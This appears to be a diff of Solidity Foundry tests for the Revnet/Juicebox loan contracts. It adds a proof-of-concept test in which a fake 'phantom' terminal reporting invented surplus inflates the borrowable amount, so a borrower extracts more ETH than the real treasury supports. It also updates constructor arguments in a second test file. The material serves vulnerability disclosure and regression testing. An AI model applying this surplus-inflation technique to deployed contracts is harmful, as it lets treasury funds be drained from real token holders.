|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
contract CodexPhantomSurplusTerminalTest is TestBaseWorkflow {
|
|
153
|
+
bytes32 internal constant REV_DEPLOYER_SALT = "REVDeployer";
|
|
154
|
+
address internal constant TRUSTED_FORWARDER = 0xB2b5841DBeF766d4b521221732F9B618fCf34A87;
|
|
155
|
+
|
|
156
|
+
address internal USER = makeAddr("user");
|
|
157
|
+
|
|
158
|
+
REVDeployer internal REV_DEPLOYER;
|
|
159
|
+
REVOwner internal REV_OWNER;
|
|
160
|
+
REVLoans internal LOANS;
|
|
161
|
+
JB721TiersHook internal EXAMPLE_HOOK;
|
|
162
|
+
IJB721TiersHookDeployer internal HOOK_DEPLOYER;
|
|
163
|
+
IJB721TiersHookStore internal HOOK_STORE;
|
|
164
|
+
IJBAddressRegistry internal ADDRESS_REGISTRY;
|
|
165
|
+
IJBSuckerRegistry internal SUCKER_REGISTRY;
|
|
166
|
+
CTPublisher internal PUBLISHER;
|
|
167
|
+
MockBuybackDataHook internal MOCK_BUYBACK;
|
|
168
|
+
PhantomSurplusTerminal internal PHANTOM_TERMINAL;
|
|
169
|
+
|
|
170
|
+
uint256 internal FEE_PROJECT_ID;
|
|
171
|
+
uint256 internal REVNET_ID;
|
|
172
|
+
|
|
173
|
+
function setUp() public override {
|
|
174
|
+
super.setUp();
|
|
175
|
+
|
|
176
|
+
FEE_PROJECT_ID = jbProjects().createFor(multisig());
|
|
177
|
+
SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
|
|
178
|
+
HOOK_STORE = new JB721TiersHookStore();
|
|
179
|
+
EXAMPLE_HOOK = new JB721TiersHook(
|
|
180
|
+
jbDirectory(),
|
|
181
|
+
jbPermissions(),
|
|
182
|
+
jbPrices(),
|
|
183
|
+
jbRulesets(),
|
|
184
|
+
HOOK_STORE,
|
|
185
|
+
jbSplits(),
|
|
186
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
187
|
+
multisig()
|
|
188
|
+
);
|
|
189
|
+
ADDRESS_REGISTRY = new JBAddressRegistry();
|
|
190
|
+
HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
|
|
191
|
+
PUBLISHER = new CTPublisher(jbDirectory(), jbPermissions(), FEE_PROJECT_ID, multisig());
|
|
192
|
+
MOCK_BUYBACK = new MockBuybackDataHook();
|
|
193
|
+
LOANS = new REVLoans({
|
|
194
|
+
controller: jbController(),
|
|
195
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
196
|
+
revId: FEE_PROJECT_ID,
|
|
197
|
+
owner: address(this),
|
|
198
|
+
permit2: permit2(),
|
|
199
|
+
trustedForwarder: TRUSTED_FORWARDER
|
|
200
|
+
});
|
|
201
|
+
REV_OWNER = new REVOwner(
|
|
202
|
+
IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
|
|
203
|
+
jbDirectory(),
|
|
204
|
+
FEE_PROJECT_ID,
|
|
205
|
+
SUCKER_REGISTRY,
|
|
206
|
+
address(LOANS),
|
|
207
|
+
address(0)
|
|
208
|
+
);
|
|
209
|
+
REV_DEPLOYER = new REVDeployer{salt: REV_DEPLOYER_SALT}(
|
|
210
|
+
jbController(),
|
|
211
|
+
SUCKER_REGISTRY,
|
|
212
|
+
FEE_PROJECT_ID,
|
|
213
|
+
HOOK_DEPLOYER,
|
|
214
|
+
PUBLISHER,
|
|
215
|
+
IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
|
|
216
|
+
address(LOANS),
|
|
217
|
+
TRUSTED_FORWARDER,
|
|
218
|
+
address(REV_OWNER)
|
|
219
|
+
);
|
|
220
|
+
REV_OWNER.setDeployer(IREVDeployer(REV_DEPLOYER));
|
|
221
|
+
PHANTOM_TERMINAL = new PhantomSurplusTerminal();
|
|
222
|
+
|
|
223
|
+
vm.prank(multisig());
|
|
224
|
+
jbProjects().approve(address(REV_DEPLOYER), FEE_PROJECT_ID);
|
|
225
|
+
|
|
226
|
+
_deployFeeProject();
|
|
227
|
+
REVNET_ID = _deployRevnetWithPhantomTerminal();
|
|
228
|
+
vm.deal(USER, 200 ether);
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
function test_registeredPhantomTerminalInflatesBorrowAgainstRealTreasury() public {
|
|
232
|
+
uint256 realSurplus = 100 ether;
|
|
233
|
+
uint256 phantomSurplus = 100 ether;
|
|
234
|
+
|
|
235
|
+
PHANTOM_TERMINAL.setFakeSurplus(phantomSurplus);
|
|
236
|
+
|
|
237
|
+
vm.prank(USER);
|
|
238
|
+
uint256 userTokens = jbMultiTerminal().pay{value: realSurplus}(
|
|
239
|
+
REVNET_ID, JBConstants.NATIVE_TOKEN, realSurplus, USER, 0, "", ""
|
|
240
|
+
);
|
|
241
|
+
|
|
242
|
+
uint256 collateral = userTokens / 10;
|
|
243
|
+
uint256 taxRate = 5000;
|
|
244
|
+
|
|
245
|
+
uint256 honestBorrowable = JBCashOuts.cashOutFrom({
|
|
246
|
+
surplus: realSurplus, cashOutCount: collateral, totalSupply: userTokens, cashOutTaxRate: taxRate
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
uint256 inflatedBorrowable =
|
|
250
|
+
LOANS.borrowableAmountFrom(REVNET_ID, collateral, 18, uint32(uint160(JBConstants.NATIVE_TOKEN)));
|
|
251
|
+
|
|
252
|
+
assertGt(inflatedBorrowable, honestBorrowable, "phantom terminal should inflate borrow quote");
|
|
253
|
+
assertLe(inflatedBorrowable, realSurplus, "PoC should remain payable by the honest terminal");
|
|
254
|
+
|
|
255
|
+
_grantBurnPermission(USER, REVNET_ID, address(LOANS));
|
|
256
|
+
|
|
257
|
+
uint256 balanceBefore = USER.balance;
|
|
258
|
+
vm.prank(USER);
|
|
259
|
+
LOANS.borrowFrom(
|
|
260
|
+
REVNET_ID,
|
|
261
|
+
REVLoanSource({token: JBConstants.NATIVE_TOKEN, terminal: jbMultiTerminal()}),
|
|
262
|
+
inflatedBorrowable,
|
|
263
|
+
collateral,
|
|
264
|
+
payable(USER),
|
|
265
|
+
25,
|
|
266
|
+
USER
|
|
267
|
+
);
|
|
268
|
+
|
|
269
|
+
uint256 balanceDelta = USER.balance - balanceBefore;
|
|
270
|
+
assertGt(balanceDelta, honestBorrowable, "borrower extracts more ETH than real treasury surplus supports");
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
function _deployFeeProject() internal {
|
|
274
|
+
JBAccountingContext[] memory acc = new JBAccountingContext[](1);
|
|
275
|
+
acc[0] = JBAccountingContext({
|
|
276
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
277
|
+
});
|
|
278
|
+
JBTerminalConfig[] memory tc = new JBTerminalConfig[](1);
|
|
279
|
+
tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
|
|
280
|
+
REVStageConfig[] memory stages = new REVStageConfig[](1);
|
|
281
|
+
stages[0] = REVStageConfig({
|
|
282
|
+
startsAtOrAfter: uint40(block.timestamp),
|
|
283
|
+
autoIssuances: new REVAutoIssuance[](0),
|
|
284
|
+
splitPercent: 0,
|
|
285
|
+
splits: new JBSplit[](0),
|
|
286
|
+
initialIssuance: uint112(1000e18),
|
|
287
|
+
issuanceCutFrequency: 0,
|
|
288
|
+
issuanceCutPercent: 0,
|
|
289
|
+
cashOutTaxRate: 0,
|
|
290
|
+
extraMetadata: 0
|
|
291
|
+
});
|
|
292
|
+
REVConfig memory feeConfig = REVConfig({
|
|
293
|
+
description: REVDescription("Fee Revnet", "FEE", "", "FEE_TOKEN"),
|
|
294
|
+
baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
|
|
295
|
+
splitOperator: multisig(),
|
|
296
|
+
stageConfigurations: stages
|
|
297
|
+
});
|
|
298
|
+
vm.prank(multisig());
|
|
299
|
+
REV_DEPLOYER.deployFor({
|
|
300
|
+
revnetId: FEE_PROJECT_ID,
|
|
301
|
+
configuration: feeConfig,
|
|
302
|
+
terminalConfigurations: tc,
|
|
303
|
+
suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
|
|
304
|
+
deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("FEE")
|
|
305
|
+
}),
|
|
306
|
+
tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
|
|
307
|
+
allowedPosts: REVEmpty721Config.emptyAllowedPosts()
|
|
308
|
+
});
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
function _deployRevnetWithPhantomTerminal() internal returns (uint256 revnetId) {
|
|
312
|
+
JBAccountingContext[] memory acc = new JBAccountingContext[](1);
|
|
313
|
+
acc[0] = JBAccountingContext({
|
|
314
|
+
token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
|
|
315
|
+
});
|
|
316
|
+
JBTerminalConfig[] memory tc = new JBTerminalConfig[](2);
|
|
317
|
+
tc[0] = JBTerminalConfig({terminal: jbMultiTerminal(), accountingContextsToAccept: acc});
|
|
318
|
+
tc[1] = JBTerminalConfig({terminal: PHANTOM_TERMINAL, accountingContextsToAccept: acc});
|
|
319
|
+
|
|
320
|
+
REVStageConfig[] memory stages = new REVStageConfig[](1);
|
|
321
|
+
JBSplit[] memory splits = new JBSplit[](1);
|
|
322
|
+
splits[0].beneficiary = payable(multisig());
|
|
323
|
+
splits[0].percent = 10_000;
|
|
324
|
+
stages[0] = REVStageConfig({
|
|
325
|
+
startsAtOrAfter: uint40(block.timestamp),
|
|
326
|
+
autoIssuances: new REVAutoIssuance[](0),
|
|
327
|
+
splitPercent: 0,
|
|
328
|
+
splits: splits,
|
|
329
|
+
initialIssuance: uint112(1000e18),
|
|
330
|
+
issuanceCutFrequency: 0,
|
|
331
|
+
issuanceCutPercent: 0,
|
|
332
|
+
cashOutTaxRate: 5000,
|
|
333
|
+
extraMetadata: 0
|
|
334
|
+
});
|
|
335
|
+
|
|
336
|
+
REVConfig memory config = REVConfig({
|
|
337
|
+
description: REVDescription("Phantom", "PHM", "", "PHM_TOKEN"),
|
|
338
|
+
baseCurrency: uint32(uint160(JBConstants.NATIVE_TOKEN)),
|
|
339
|
+
splitOperator: multisig(),
|
|
340
|
+
stageConfigurations: stages
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
vm.prank(multisig());
|
|
344
|
+
(revnetId,) = REV_DEPLOYER.deployFor({
|
|
345
|
+
revnetId: 0,
|
|
346
|
+
configuration: config,
|
|
347
|
+
terminalConfigurations: tc,
|
|
348
|
+
suckerDeploymentConfiguration: REVSuckerDeploymentConfig({
|
|
349
|
+
deployerConfigurations: new JBSuckerDeployerConfig[](0), salt: keccak256("PHANTOM")
|
|
350
|
+
}),
|
|
351
|
+
tiered721HookConfiguration: REVEmpty721Config.empty721Config(uint32(uint160(JBConstants.NATIVE_TOKEN))),
|
|
352
|
+
allowedPosts: REVEmpty721Config.emptyAllowedPosts()
|
|
353
|
+
});
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
function _grantBurnPermission(address account, uint256 revnetId, address operator) internal {
|
|
357
|
+
uint8[] memory permissionIds = new uint8[](1);
|
|
358
|
+
permissionIds[0] = JBPermissionIds.BURN_TOKENS;
|
|
359
|
+
|
|
360
|
+
vm.prank(account);
|
|
361
|
+
jbPermissions()
|
|
362
|
+
.setPermissionsFor(
|
|
363
|
+
account,
|
|
364
|
+
JBPermissionsData({operator: operator, projectId: uint56(revnetId), permissionIds: permissionIds})
|
|
365
|
+
);
|
|
366
|
+
}
|
|
367
|
+
}
|
|
@@ -38,12 +38,15 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
|
|
|
38
38
|
import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
|
|
39
39
|
import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
|
|
40
40
|
import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
|
|
41
|
+
import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
|
|
42
|
+
import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
|
|
41
43
|
import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
|
|
42
44
|
import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
|
|
43
45
|
// Helper that provides empty 721 tier configs for revnet deployment.
|
|
44
46
|
import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
|
|
45
47
|
import {REVOwner} from "../../src/REVOwner.sol";
|
|
46
48
|
import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
|
|
49
|
+
import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
|
|
47
50
|
|
|
48
51
|
/// @notice Regression tests for the loan ID overflow guard in REVLoans.
|
|
49
52
|
/// @dev The totalLoansBorrowedFor counter must never exceed _ONE_TRILLION (1e12).
|
|
@@ -129,7 +132,14 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
129
132
|
|
|
130
133
|
// Deploy the example 721 hook (needed as the implementation for the deployer).
|
|
131
134
|
EXAMPLE_HOOK = new JB721TiersHook(
|
|
132
|
-
jbDirectory(),
|
|
135
|
+
jbDirectory(),
|
|
136
|
+
jbPermissions(),
|
|
137
|
+
jbPrices(),
|
|
138
|
+
jbRulesets(),
|
|
139
|
+
HOOK_STORE,
|
|
140
|
+
jbSplits(),
|
|
141
|
+
IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
|
|
142
|
+
multisig()
|
|
133
143
|
);
|
|
134
144
|
|
|
135
145
|
// Deploy the address registry (used by the hook deployer).
|
|
@@ -155,6 +165,7 @@ contract LoanIdOverflowGuard is TestBaseWorkflow {
|
|
|
155
165
|
// Deploy the REVLoans contract.
|
|
156
166
|
LOANS_CONTRACT = new REVLoans({
|
|
157
167
|
controller: jbController(),
|
|
168
|
+
suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
|
|
158
169
|
revId: FEE_PROJECT_ID,
|
|
159
170
|
owner: address(this),
|
|
160
171
|
permit2: permit2(),
|